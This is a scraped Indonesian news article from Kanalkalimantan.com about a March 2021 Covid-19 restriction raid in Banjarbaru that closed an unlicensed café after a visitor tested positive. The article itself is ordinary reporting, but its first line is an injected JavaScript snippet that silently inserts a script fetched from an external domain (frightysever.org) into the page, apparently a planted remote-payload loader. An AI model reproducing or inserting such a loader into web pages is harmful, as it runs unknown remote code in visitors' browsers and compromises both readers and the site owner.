(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dilaksanakannya giat razia pada Jumat (27/3/2021) malam, membuktikan masih banyak masyarakat maupun pelaku usaha melanggar Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro di Kota Banjarbaru.
Patroli malam ini bahkan menemukan adanya masyarakat yang dinyatakan terkonfirmasi Covid-19. Hal itu saat aparat gabungan menyidak salah satu kafe yang masih beroperasional melebih pukul 21.00 Wita, dimana hal tersebut telah melanggar kebijakan PPKM.
“Jadi awalnya kita mendatangi kafe ini, karena masih buka di atas jam operasional yang kita tentukan. Karena melanggar aturan, maka dilakukan swab antigen terhadap para pengunjung dan ternyata ada satu orang dinyatakan positif Covid-19,” Wali Kota Banjarbaru, Aditya Mufti Ariffin.
Temuan adanya pengunjung yang terpapar virus corona ini, begitu disesalkan Wali Kota Banjarbaru. Apalagi yang bersangkutan rupanya juga bukan warga yang tinggal di Banjarbaru.
“Yang bersangkutan ini bukan warga Banjarbaru, melainkan warga Kabupaten tetangga. Dia sudah kita minta segera menindaklanjuti kondisinya itu ke daerah tempat tinggalnya atau bisa lapor ke Satgas Covid-19,” tutur Aditya.
Baca juga: Warung Remang di Liang Anggang Langgar Aturan PPKM, Pria dan Wanita Jalani Rapid Antigen!
Imbas perihal temuan ini, Pemerintah Kota (Pemko) Banjarbaru akhirnya memutuskan menutup kafe bernama STBK itu yang lokasinya tepat berada di depan kantor Dinas Kesehatan (Dinkes) Banjarbaru.
Dilakukannya penutupan kata Aditya, juga karena pemilik kafe belum mengatongi surat izin usaha. Ia mengatakan selama ditutup, pemilik kafe harus lebih dulu mengurus izin usahanya dan diwajibkan melakukan sterilisasi di seluruh ruangan.
“Pertama karena tidak memiliki izin usaha. Kedua, melanggar waktu operasional selama PPKM dan ditambah lahu adanya pengunjung yang positif terpapar virus. Kita akan tutup kafe ini sembari menunggu pemiliknya mengurus izin, termasuk mensterilkan tempat. Jika tidak diurus izin, kami tutup selamanya,” tegasnya.
Baca juga: Mudik Lebaran Tahun Ini Resmi Dilarang Pemerintah
Sementara itu, Kapolres Banjarbaru, AKBP Doni Hadi Santoso, menegaskan bahwa pihaknya bersama Pemko, serta seluruh unsur Forum Komunikasi Pimpinan Daerah (Forkopimda) tak akan bosan untuk menegakan aturan PPKM ini demi misi mengendalikan wabah pandemi Covid-19.
“Malam ini kita berhenti di tempat-tempat yang tidak mematuhi aturan PPKM dan melanggar protokol kesehatan. Kegiatan ini akan kita lakukan terus menerus hingga masyarakat sadar,” tegasnya. (Kanalkalimantan.com/rico)
Foto: rico
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.